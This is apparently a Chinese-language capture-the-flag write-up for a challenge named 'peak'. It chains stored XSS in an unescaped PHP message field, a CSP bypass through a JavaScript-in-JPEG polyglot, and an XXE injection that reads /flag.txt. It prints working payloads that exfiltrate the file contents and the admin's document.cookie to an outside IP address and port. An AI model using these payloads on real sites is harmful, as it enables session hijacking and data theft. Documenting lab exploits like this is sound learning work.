peak

果然是xss

<!-- dist/web/pages/view_message.php -->

        <!-- (snip) -->
        <section id="message" class="py-5">
            <div class="container mt-5">
                <?php if (isset($message)): ?>
                    <h1><?php echo htmlentities($message['title']);?></h1>
                    <p><?php echo $message['content']; ?><!-- this -->
                    <?php if($message['file'] !== "") : ?>
                        <div>
                        <img name="image" src="<?php echo $message['file']?>">
                        </div>
                    <?php endif;?>
                <?php endif; ?></p>
            </div>
        </section>
        <!-- (snip) -->

没有转义Content

但是有CSP检测

<?php header("Content-Security-policy: script-src 'self'"); ?>

这里有一个可以绕过CSP的

git clone https://github.com/4n86rakam1/xss_injection_in_jpeg.git
cd xss_injection_in_jpeg
python3 exploit.py --payload 'alert(document.domain)' --imagesize 200x200 --output xss.js

思路就很明确了,利用这个方式执行js脚本,把数据带出到服务器

fetch("/admin/map.php", {
  method: "POST",
  headers: { "Content-Type": "application/x-www-form-urlencoded" },
  body: new URLSearchParams({
    data: '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]><markers><marker><lat>47.0748663672</lat><lon>12.695247219</lon><name>&xxe;</name></marker></markers>',
  }),
})
  .then((resp) => resp.text())
  .then((text) => {
    new Image().src =
      "https://165.154.5.221:9999/?data=" +
      btoa(text);
  });

nvim payload.js  # paste XSS payload created in the previous step
python3 xss_injection_in_jpeg/exploit.py --payload-file payload.js --imagesize 10x10 --output xss.jpg

写入并生成图片

下面这个更清楚一点
./img_polygloter.py jpg --height 123 --width 321 --payload "document.location='http://165.154.5.221:9999?cc='+document.cookie" --output a.png
神,然后监听得到Cookie修改得到admin身份,然后访问admin/map.php
一个xxe注入拿到flag

第一次发是上传图片,第二次是<script charset="ISO-8859-1" src="/uploads/link-your-img"></script> 检索那个图片

但是burp发包的话即使是重定向,他也会有数据显示emmmm,这个代码实现太操蛋了